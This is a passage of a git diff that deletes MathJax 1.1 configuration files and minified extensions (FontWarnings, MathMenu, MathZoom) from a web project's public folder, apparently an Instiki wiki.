-    //        RR: '{\\bf R}',
-    //        bold: ['{\\bf #1}', 1]
-    //      }
-    //
-    Macros: {}
-    
-  },
-
-  //============================================================================
-  //
-  //  These parameters control the MathML inupt jax.
-  //
-  MathML: {
-    //
-    //  This specifies whether to use TeX spacing or MathML spacing when the
-    //  HTML-CSS output jax is used.
-    //
-    useMathMLspacing: false
-  },
-  
-  //============================================================================
-  //
-  //  These parameters control the HTML-CSS output jax.
-  //
-  "HTML-CSS": {
-    
-    //
-    //  This controls the global scaling of mathematics as compared to the 
-    //  surrounding text.  Values between 100 and 133 are usually good choices.
-    //
-    scale: 100,
-    
-    //
-    //  This is a list of the fonts to look for on a user's computer in
-    //  preference to using MathJax's web-based fonts.  These must
-    //  correspond to directories available in the  jax/output/HTML-CSS/fonts
-    //  directory, where MathJax stores data about the characters available
-    //  in the fonts.  Set this to ["TeX"], for example, to prevent the
-    //  use of the STIX fonts, or set it to an empty list, [], if
-    //  you want to force MathJax to use web-based or image fonts.
-    //
-    availableFonts: ["STIX","TeX"],
-    
-    //
-    //  This is the preferred font to use when more than one of those
-    //  listed above is available.
-    //
-    preferredFont: "TeX",
-    
-    //
-    //  This is the web-based font to use when none of the fonts listed
-    //  above are available on the user's computer.  Note that currently
-    //  only the TeX font is available in a web-based form.  Set this to
-    //  
-    //      webFont: null,
-    //
-    //  if you want to prevent the use of web-based fonts.
-    //
-    webFont: "TeX",
-    
-    //
-    //  This is the font to use for image fallback mode (when none of the
-    //  fonts listed above are available and the browser doesn't support
-    //  web-fonts via the @font-face CSS directive).  Note that currently
-    //  only the TeX font is available as an image font.  Set this to
-    //
-    //      imageFont: null,
-    //  
-    //  if you want to prevent the use of image fonts (e.g., you have not
-    //  installed the image fonts on your server).  In this case, only
-    //  browsers that support web-based fonts will be able to view your pages
-    //  without having the fonts installed on the client computer.  The browsers
-    //  that support web-based fonts include: IE6 and later, Chrome, Safari3.1
-    //  and above, Firefox3.5 and later, and Opera10 and later.  Note that
-    //  Firefox3.0 is NOT on this list, so without image fonts, FF3.0 users
-    //  will be required to to download and install either the STIX fonts or the
-    //  MathJax TeX fonts.
-    //
-    imageFont: "TeX",
-    
-    //
-    //  This is the font-family CSS value used for characters that are not
-    //  in the selected font (e.g., for web-based fonts, this is where to
-    //  look for characters not included in the MathJax_* fonts).  IE will
-    //  stop looking after the first font that exists on the system (even
-    //  if it doesn't contain the needed character), so order these carefully.
-    //  
-    undefinedFamily: "STIXGeneral,'Arial Unicode MS',serif",
-    
-    //
-    //  This controls whether the MathJax contextual menu will be available
-    //  on the mathematics in the page.  If true, then right-clicking (on
-    //  the PC) or control-clicking (on the Mac) will produce a MathJax
-    //  menu that allows you to get the source of the mathematics in
-    //  various formats, change the size of the mathematics relative to the
-    //  surrounding text, and get information about MathJax.
-    //  
-    //  Set this to false to disable the menu.  When true, the MathMenu 
-    //  items below configure the actions of the menu.
-    //  
-    showMathMenu: true,
-
-    //
-    //  This allows you to define or modify the styles used to display
-    //  various math elements created by MathJax.
-    //  
-    //  Example:
-    //      styles: {
-    //        ".MathJax_Preview": {
-    //          "font-size": "80%",          // preview uses a smaller font
-    //          color: "red"                 //    and is in red
-    //        }
-    //      }
-    //
-    styles: {},
-    
-    //
-    //  Configuration for <maction> tooltips
-    //    (see also the #MathJax_Tooltip CSS in MathJax/jax/output/HTML-CSS/config.js,
-    //     which can be overriden using the styles values above).
-    //
-    tooltip: {
-      delayPost: 600,          // milliseconds delay before tooltip is posted after mouseover
-      delayClear: 600,         // milliseconds delay before tooltip is cleared after mouseout
-      offsetX: 10, offsetY: 5  // pixels to offset tooltip from mouse position
-    }
-  },
-  
-  //============================================================================
-  //
-  //  These parameters control the NativeMML output jax.
-  //
-  NativeMML: {
-
-    //
-    //  This controls the global scaling of mathematics as compared to the 
-    //  surrounding text.  Values between 100 and 133 are usually good choices.
-    //
-    scale: 100,
-
-    //
-    //  This controls whether the MathJax contextual menu will be available
-    //  on the mathematics in the page.  If true, then right-clicking (on
-    //  the PC) or control-clicking (on the Mac) will produce a MathJax
-    //  menu that allows you to get the source of the mathematics in
-    //  various formats, change the size of the mathematics relative to the
-    //  surrounding text, and get information about MathJax.
-    //  
-    //  Set this to false to disable the menu.  When true, the MathMenu 
-    //  items below configure the actions of the menu.
-    //  
-    //  There is a separate setting for MSIE, since the code to handle that
-    //  is a bit delicate; if it turns out to have unexpected consequences, 
-    //  you can turn it off without turing off other browser support.
-    //  
-    showMathMenu: true,
-    showMathMenuMSIE: true,
-
-    //
-    //  This allows you to define or modify the styles used to display
-    //  various math elements created by MathJax.
-    //  
-    //  Example:
-    //      styles: {
-    //        ".MathJax_MathML": {
-    //          color: "red"         //    MathML is in red
-    //        }
-    //      }
-    //
-    styles: {}
-  },
-  
-  //============================================================================
-  //
-  //  These parameters control the contextual menus that are available on the 
-  //  mathematics within the page (provided the showMathMenu value is true above).
-  //
-  MathMenu: {
-    //
-    //  This is the hover delay for the display of submenus in the
-    //  contextual menu.  When the mouse is still over a submenu label for
-    //  this long, the menu will appear.  (The menu also will appear if you
-    //  click on the label.)  It is in milliseconds.
-    //  
-    delay: 400,
-    
-    //
-    //  This is the URL for the MathJax Help menu item.
-    //
-    helpURL: "http://www.mathjax.org/help/user/",
-
-    //
-    //  These control whether the "Math Renderer", "Font Preferences",
-    //  and "Contextual Menu" submenus will be displayed or not.
-    //
-    showRenderer: true,
-    showFontMenu: false,
-    showContext:  false,
-
-    //
-    //  These are the settings for the Show Source window.  The initial
-    //  width and height will be reset after the source is shown in an
-    //  attempt to make the window fit the output better.
-    //
-    windowSettings: {
-      status: "no", toolbar: "no", locationbar: "no", menubar: "no",
-      directories: "no", personalbar: "no", resizable: "yes", scrollbars: "yes",
-      width: 100, height: 50
-    },
-    
-    //
-    //  This allows you to change the CSS that controls the menu
-    //  appearance.  See the extensions/MathMenu.js file for details
-    //  of the default settings.
-    //
-    styles: {}
-    
-  },
-
-  //============================================================================
-  //
-  //  These parameters control the MMLorHTML configuration file.
-  //  NOTE:  if you add MMLorHTML.js to the config array above,
-  //  you must REMOVE the output jax from the jax array.
-  //
-  MMLorHTML: {
-    //
-    //  The output jax that is to be preferred when both are possible
-    //  (set to "MML" for native MathML, "HTML" for MathJax's HTML-CSS output jax).
-    //
-    prefer: {
-      MSIE:    "MML",
-      Firefox: "MML",
-      Opera:   "HTML",
-      other:   "HTML"
-    }
-  }
-});
-
-MathJax.Ajax.loadComplete("[MathJax]/config/default.js");
diff --git a/public/MathJax/config/instiki.js b/public/MathJax/config/instiki.js
deleted file mode 100644
index f3d3b3f3..00000000
--- a/public/MathJax/config/instiki.js
+++ /dev/null
@@ -1,24 +0,0 @@
-MathJax.Hub.Config({
-  config: ["MMLorHTML.js"],
-  jax: ["input/MathML"],
-  extensions: ["mml2jax.js","MathMenu.js","MathZoom.js"],
-  MathML: {
-    useMathMLspacing: true
-  },
-  "HTML-CSS": {
-    preferredFont: "STIX",
-    scale: 90
-  },
-  MMLorHTML: {
-    prefer:
-    {
-      MSIE:    "MML",
-      Firefox: "MML",
-      Opera:   "HTML",
-      other:   "HTML"
-    }
-  }
-});
-
-MathJax.Hub.Startup.onload();
-MathJax.Ajax.loadComplete("[MathJax]/config/local/local.js");
diff --git a/public/MathJax/config/local/local.js b/public/MathJax/config/local/local.js
deleted file mode 100644
index 7bf733cb..00000000
--- a/public/MathJax/config/local/local.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/config/local/local.js
- *  
- *  Include changes and configuration local to your installation
- *  in this file.  For example, common macros can be defined here
- *  (see below).  To use this file, add "local/local.js" to the
- *  config array in MathJax.js or your MathJax.Hub.Config() call.
- *
- *  ---------------------------------------------------------------------
- *  
- *  Copyright (c) 2009 Design Science, Inc.
- * 
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- * 
- *      http://www.apache.org/licenses/LICENSE-2.0
- * 
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function () {
-  var TEX = MathJax.InputJax.TeX;
-
-  // place macros here.  E.g.:
-  //   TEX.Macro("R","{\\bf R}");
-  //   TEX.Macro("op","\\mathop{\\rm #1}",1); // a macro with 1 parameter
-  
-});
-
-MathJax.Ajax.loadComplete("[MathJax]/config/local/local.js");
diff --git a/public/MathJax/extensions/FontWarnings.js b/public/MathJax/extensions/FontWarnings.js
deleted file mode 100644
index b948d924..00000000
--- a/public/MathJax/extensions/FontWarnings.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/FontWarnings.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(d,g){var f="1.1";var b=d.CombineConfig("FontWarnings",{messageStyle:{position:"fixed",bottom:"4em",left:"3em",width:"40em",border:"3px solid #880000","background-color":"#E0E0E0",padding:"1em","font-size":"small","white-space":"normal","border-radius":".75em","-webkit-border-radius":".75em","-moz-border-radius":".75em","-khtml-border-radius":".75em","box-shadow":"4px 4px 10px #AAAAAA","-webkit-box-shadow":"4px 4px 10px #AAAAAA","-moz-box-shadow":"4px 4px 10px #AAAAAA","-khtml-box-shadow":"4px 4px 10px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=3, OffY=3, Color='gray', Positive='true')"},Message:{webFont:[["closeBox"],"MathJax is using web-based fonts to display the mathematics ","on this page.  These take time to download, so the page would","render faster if you installed math fonts directly in your ","system's font folder.",["fonts"]],imageFonts:[["closeBox"],"MathJax is using its image fonts rather than local or web-based fonts. ","This will render slower than usual, and the mathematics may not print ","at the full resolution of your printer.",["fonts"],["webfonts"]],noFonts:[["closeBox"],"MathJax is unable to locate a font to use to display ","its mathematics, and image fonts are not available, so it ","is falling back on generic unicode characters in hopes that ","your browser will be able to display them.  Some characters ","may not show up properly, or possibly not at all.",["fonts"],["webfonts"]]},HTML:{closeBox:[["div",{style:{position:"absolute",overflow:"hidden",top:".1em",right:".1em",border:"1px outset",width:"1em",height:"1em","text-align":"center",cursor:"pointer","background-color":"#EEEEEE",color:"#606060","border-radius":".5em","-webkit-border-radius":".5em","-moz-border-radius":".5em","-khtml-border-radius":".5em"},onclick:function(){if(c.div&&c.fade===0){if(c.timer){clearTimeout(c.timer)}c.div.style.display="none"}}},[["span",{style:{position:"relative",bottom:".2em"}},["x"]]]]],webfonts:[["p"],"Most modern browsers allow for fonts to be downloaded over the web. ","Updating to a more recent version of your browser (or changing browsers) ","could improve the quality of the mathematics on this page."],fonts:[["p"],"MathJax can use either the ",["a",{href:"http://www.stixfonts.org/",target:"_blank"},"STIX fonts"]," or the ",["a",{href:"http://www.mathjax.org/help/fonts/",target:"_blank"},["MathJax TeX fonts"]],".  Download and install either one to improve your MathJax experience."],STIXfonts:[["p"],"This page is designed to use the ",["a",{href:"http://www.stixfonts.org/",target:"_blank"},"STIX fonts"],".  Download and install those fonts to improve your MathJax experience."],TeXfonts:[["p"],"This page is designed to use the ",["a",{href:"http://www.mathjax.org/help/fonts/",target:"_blank"},["MathJax TeX fonts"]],".  Download and install those fonts to improve your MathJax experience."]},removeAfter:12*1000,fadeoutSteps:10,fadeoutTime:1.5*1000});if(MathJax.Hub.Browser.isIE9&&document.documentMode>=9){delete b.messageStyle.filter}var c={div:null,fade:0};var a=function(k){if(c.div){return}var h=MathJax.OutputJax["HTML-CSS"],l=document.body;if(d.Browser.isMSIE){if(b.messageStyle.position==="fixed"){MathJax.Message.Init();l=document.getElementById("MathJax_MSIE_Frame");b.messageStyle.position="absolute"}}else{delete b.messageStyle.filter}b.messageStyle.maxWidth=(document.body.clientWidth-75)+"px";var j=0;while(j<k.length){if(k[j] instanceof Array&&b.HTML[k[j][0]]){k.splice.apply(k,[j,1].concat(b.HTML[k[j][0]]))}else{j++}}c.div=h.addElement(l,"div",{id:"MathJax_FontWarning",style:b.messageStyle},k);if(b.removeAfter){d.Register.StartupHook("End",function(){c.timer=setTimeout(e,b.removeAfter)})}g.Cookie.Set("fontWarn",{warned:true})};var e=function(){c.fade++;if(c.timer){delete c.timer}if(c.fade<b.fadeoutSteps){var h=1-c.fade/b.fadeoutSteps;c.div.style.opacity=h;c.div.style.filter="alpha(opacity="+Math.floor(100*h)+")";setTimeout(e,b.fadeoutTime/b.fadeoutSteps)}else{c.div.style.display="none"}};if(!g.Cookie.Get("fontWarn").warned){d.Startup.signal.Interest(function(k){if(k.match(/HTML-CSS Jax - /)&&!c.div){var h=MathJax.OutputJax["HTML-CSS"],l=h.config.availableFonts,j;var i=(l&&l.length);if(!i){b.HTML.fonts=[""]}else{if(l.length===1){b.HTML.fonts=b.HTML[l[0]+"fonts"]}}if(h.allowWebFonts){b.HTML.webfonts=[""]}if(k.match(/- Web-Font/)){if(i){j="webFont"}}else{if(k.match(/- using image fonts/)){j="imageFonts"}else{if(k.match(/- no valid font/)){j="noFonts"}}}if(j&&b.Message[j]){a(b.Message[j])}}})}})(MathJax.Hub,MathJax.HTML);MathJax.Ajax.loadComplete("[MathJax]/extensions/FontWarnings.js");
-
diff --git a/public/MathJax/extensions/MathMenu.js b/public/MathJax/extensions/MathMenu.js
deleted file mode 100644
index d2c068ef..00000000
--- a/public/MathJax/extensions/MathMenu.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/MathMenu.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(b,c,f){var k="1.1.4";MathJax.Extension.MathMenu={version:k};var i=b.Browser.isPC,g=b.Browser.isMSIE;var e=(i?null:"5px");var j=b.CombineConfig("MathMenu",{delay:150,helpURL:"http://www.mathjax.org/help/user/",showRenderer:true,showFontMenu:false,showContext:false,windowSettings:{status:"no",toolbar:"no",locationbar:"no",menubar:"no",directories:"no",personalbar:"no",resizable:"yes",scrollbars:"yes",width:100,height:50},styles:{"#MathJax_About":{position:"fixed",left:"50%",width:"auto","text-align":"center",border:"3px outset",padding:"1em 2em","background-color":"#DDDDDD",color:"black",cursor:"default","font-family":"message-box","font-size":"120%","font-style":"normal","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":"15px","-webkit-border-radius":"15px","-moz-border-radius":"15px","-khtml-border-radius":"15px","box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_Menu":{position:"absolute","background-color":"white",color:"black",width:"auto",padding:(i?"2px":"5px 0px"),border:"1px solid #CCCCCC",margin:0,cursor:"default",font:"menu","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":e,"-webkit-border-radius":e,"-moz-border-radius":e,"-khtml-border-radius":e,"box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_MenuItem":{padding:(i?"2px 2em":"1px 2em"),background:"transparent"},".MathJax_MenuTitle":{"background-color":"#CCCCCC",margin:(i?"-1px -1px 1px -1px":"-5px 0 0 0"),"text-align":"center","font-style":"italic","font-size":"80%",color:"#444444",padding:"2px 0",overflow:"hidden"},".MathJax_MenuArrow":{position:"absolute",right:".5em",color:"#666666","font-family":(g?"'Arial unicode MS'":null)},".MathJax_MenuActive .MathJax_MenuArrow":{color:"white"},".MathJax_MenuCheck":{position:"absolute",left:".7em","font-family":(g?"'Arial unicode MS'":null)},".MathJax_MenuRadioCheck":{position:"absolute",left:(i?"1em":".7em")},".MathJax_MenuLabel":{padding:(i?"2px 2em 4px 1.33em":"1px 2em 3px 1.33em"),"font-style":"italic"},".MathJax_MenuRule":{"border-top":(i?"1px solid #CCCCCC":"1px solid #DDDDDD"),margin:(i?"4px 1px 0px":"4px 3px")},".MathJax_MenuDisabled":{color:"GrayText"},".MathJax_MenuActive":{"background-color":(i?"Highlight":"#606872"),color:(i?"HighlightText":"white")}}});var d=function(l){if(!l){l=window.event}if(l){if(l.preventDefault){l.preventDefault()}if(l.stopPropagation){l.stopPropagation()}l.cancelBubble=true;l.returnValue=false}return false};var a=MathJax.Menu=MathJax.Object.Subclass({version:k,items:[],posted:false,title:null,margin:5,Init:function(l){this.items=[].slice.call(arguments,0)},With:function(l){if(l){b.Insert(this,l)}return this},Post:function(n,v){if(!n){n=window.event}var t=(!this.title?null:[["div",{className:"MathJax_MenuTitle"},[this.title]]]);var l=document.getElementById("MathJax_MenuFrame");if(!l){l=a.Background(this)}var o=c.addElement(l,"div",{onmouseup:a.Mouseup,ondblclick:this.False,ondragstart:this.False,onselectstart:this.False,oncontextmenu:this.False,menuItem:this,className:"MathJax_Menu"},t);for(var q=0,p=this.items.length;q<p;q++){this.items[q].Create(o)}this.posted=true;o.style.width=(o.offsetWidth+2)+"px";var u=n.pageX,s=n.pageY;if(!u&&!s){u=n.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;s=n.clientY+document.body.scrollTop+document.documentElement.scrollTop}if(!v){if(u+o.offsetWidth>document.body.offsetWidth-this.margin){u=document.body.offsetWidth-o.offsetWidth-this.margin}a.skipUp=true}else{var r="left",w=v.offsetWidth;u=v.offsetWidth-2;s=0;while(v&&v!==l){u+=v.offsetLeft;s+=v.offsetTop;v=v.parentNode}if(u+o.offsetWidth>document.body.offsetWidth-this.margin){r="right";u=Math.max(this.margin,u-w-o.offsetWidth+6)}if(!i){o.style["borderRadiusTop"+r]=0;o.style["WebkitBorderRadiusTop"+r]=0;o.style["MozBorderRadiusTop"+r]=0;o.style["KhtmlBorderRadiusTop"+r]=0}}o.style.left=u+"px";o.style.top=s+"px";if(document.selection&&document.selection.empty){document.selection.empty()}return this.False(n)},Remove:function(l,m){var n=document.getElementById("MathJax_MenuFrame");if(n){n.parentNode.removeChild(n);if(this.msieBackgroundBug){detachEvent("onresize",a.Resize)}}},Mouseup:function(l,m){if(a.skipUp){delete a.skipUp}else{this.Remove(l,m)}},False:d},{config:j,div:null,Remove:function(l){a.Event(l,this,"Remove")},Mouseover:function(l){a.Event(l,this,"Mouseover")},Mouseout:function(l){a.Event(l,this,"Mouseout")},Mousedown:function(l){a.Event(l,this,"Mousedown")},Mouseup:function(l){a.Event(l,this,"Mouseup")},Mousemove:function(l){a.Event(l,this,"Mousemove")},Event:function(n,o,l){if(!n){n=window.event}var m=o.menuItem;if(m&&m[l]){return m[l](n,o)}return null},BGSTYLE:{position:"absolute",left:0,top:0,"z-index":200,width:"100%",height:"100%",border:0,padding:0,margin:0},Background:function(m){var n=c.addElement(document.body,"div",{style:this.BGSTYLE,id:"MathJax_MenuFrame"},[["div",{style:this.BGSTYLE,menuItem:m,onmousedown:this.Remove}]]);var l=n.firstChild;if(m.msieBackgroundBug){l.style.backgroundColor="white";l.style.filter="alpha(opacity=0)";n.width=n.height=0;this.Resize();attachEvent("onresize",this.Resize)}else{l.style.position="fixed"}return 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-
diff --git a/public/MathJax/extensions/MathZoom.js b/public/MathJax/extensions/MathZoom.js
deleted file mode 100644
index c872f02b..00000000
--- a/public/MathJax/extensions/MathZoom.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/MathZoom.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var r=o.HTMLspanElement().bbox;b.idPostfix="";if(r.width&&r.width!=="100%"){var j=Math.floor(0.85*document.body.clientWidth);q.style.width=j+"px";q.style.display="inline-block";var k=(o.id||"MathJax-Span-"+o.spanID)+"-zoom";var l=document.getElementById(k).firstChild;while(l&&l.style.width!==r.width){l=l.nextSibling}if(l){l.style.width="100%"}}q.appendChild(this.topImg);var n=this.topImg.offsetTop;q.removeChild(this.topImg);var m=(this.msieWidthBug?b.getW(p)*b.em:p.offsetWidth);return{w:r.w*b.em,Y:-n,W:m}},ZoomMathML:function(k,l,m){k.toNativeMML(l,l);var n;l.appendChild(this.topImg);n=this.topImg.offsetTop;l.removeChild(this.topImg);var j=(this.ffMMLwidthBug?m.parentNode:m).offsetWidth;return{w:l.offsetWidth,Y:-n,W:j}},Position:function(p,n,r){var k=this.Resize(),m=k.x,l=k.y,j=n.W;if(this.msiePositionBug){j=-j}if(r&&this.ffMMLcenterBug){j=0}var q=-Math.floor((p.offsetWidth-j)/2),o=n.Y;p.style.left=Math.max(q,20-m)+"px";p.style.top=Math.max(o,20-l)+"px"},Resize:function(l){if(f.onresize){f.onresize(l)}var j=0,o=0,n=document.getElementById("MathJax_ZoomFrame"),k=document.getElementById("MathJax_ZoomOverlay");var m=(f.msieZIndexBug?document.getElementById("MathJax_ZoomTracker"):n);if(f.operaPositionBug){n.style.border="1px solid"}if(m.offsetParent){do{j+=m.offsetLeft;o+=m.offsetTop}while(m=m.offsetParent)}if(f.operaPositionBug){n.style.border=""}if(f.msieZIndexBug){n.style.left=j+"px";n.style.top=o+"px"}k.style.left=(-j)+"px";k.style.top=(-o)+"px";if(f.msiePositionBug){setTimeout(f.SetWH,0)}else{f.SetWH()}return{x:j,y:o}},SetWH:function(){var j=document.getElementById("MathJax_ZoomOverlay");j.style.width=j.style.height="1px";j.style.width=document.body.scrollWidth+"px";j.style.height=document.body.scrollHeight+"px"},Remove:function(k){var l=document.getElementById("MathJax_ZoomFrame");if(l){l.parentNode.removeChild(l);l=document.getElementById("MathJax_ZoomTracker");if(l){l.parentNode.removeChild(l)}if(f.operaRefreshBug){var j=c.addElement(document.body,"div",{style:{position:"fixed",left:0,top:0,width:"100%",height:"100%",backgroundColor:"white",opacity:0},id:"MathJax_OperaDiv"});document.body.removeChild(j)}if(window.removeEventListener){removeEventListener("resize",f.Resize,false)}else{if(window.detachEvent){detachEvent("onresize",f.Resize)}else{window.onresize=f.onresize;delete f.onresize}}}return d(k)}};a.Register.StartupHook("HTML-CSS Jax Ready",function(){b=MathJax.OutputJax["HTML-CSS"];b.Augment({HandleEvent:f.HandleEvent})});a.Register.StartupHook("NativeMML Jax Ready",function(){h=MathJax.OutputJax.NativeMML;h.Augment({HandleEvent:f.HandleEvent,MSIEmouseup:function(l,k,j){if(this.trapUp){delete this.trapUp;return true}if(this.MSIEzoomKeys(l)){return true}return false},MSIEclick:function(l,k,j){if(this.trapClick){delete this.trapClick;return true}if(!this.MSIEzoomKeys(l)){return false}if(!this.settings.zoom.match(/Click/)){return false}return(f.Click(l,k)===false)},MSIEdblclick:function(l,k,j){if(!this.MSIEzoomKeys(l)){return false}return(f.DblClick(l,k)===false)},MSIEmouseover:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEmouseout:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.ClearTimer();return true},MSIEmousemove:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEzoomKeys:function(j){if(this.settings.CTRL&&!j.ctrlKey){return false}if(this.settings.CMD&&!j.metaKey){return false}if(this.settings.ALT&&!j.altKey){return false}if(this.settings.Shift&&!j.shiftKey){return false}return true}})});a.Browser.Select({MSIE:function(j){var k=(document.compatMode==="BackCompat");var l=j.versionAtLeast("8.0")&&document.documentMode>7;f.msiePositionBug=true;f.msieWidthBug=!k;f.msieIE8Bug=l;f.msieZIndexBug=!l;f.msieInlineBlockAlignBug=(!l||k);if(document.documentMode>=9){delete g.styles["#MathJax_Zoom"].filter}},Opera:function(j){f.operaPositionBug=true;f.operaRefreshBug=true},Firefox:function(j){f.ffMMLwidthBug=true;f.ffMMLcenterBug=true}});f.topImg=(f.msieInlineBlockAlignBug?c.Element("img",{style:{width:0,height:0},src:"about:blank"}):c.Element("span",{style:{width:0,height:0,display:"inline-block"}}));if(f.operaPositionBug){f.topImg.style.border="1px solid"}MathJax.Callback.Queue(["Styles",e,g.styles],["Post",a.Startup.signal,"MathZoom 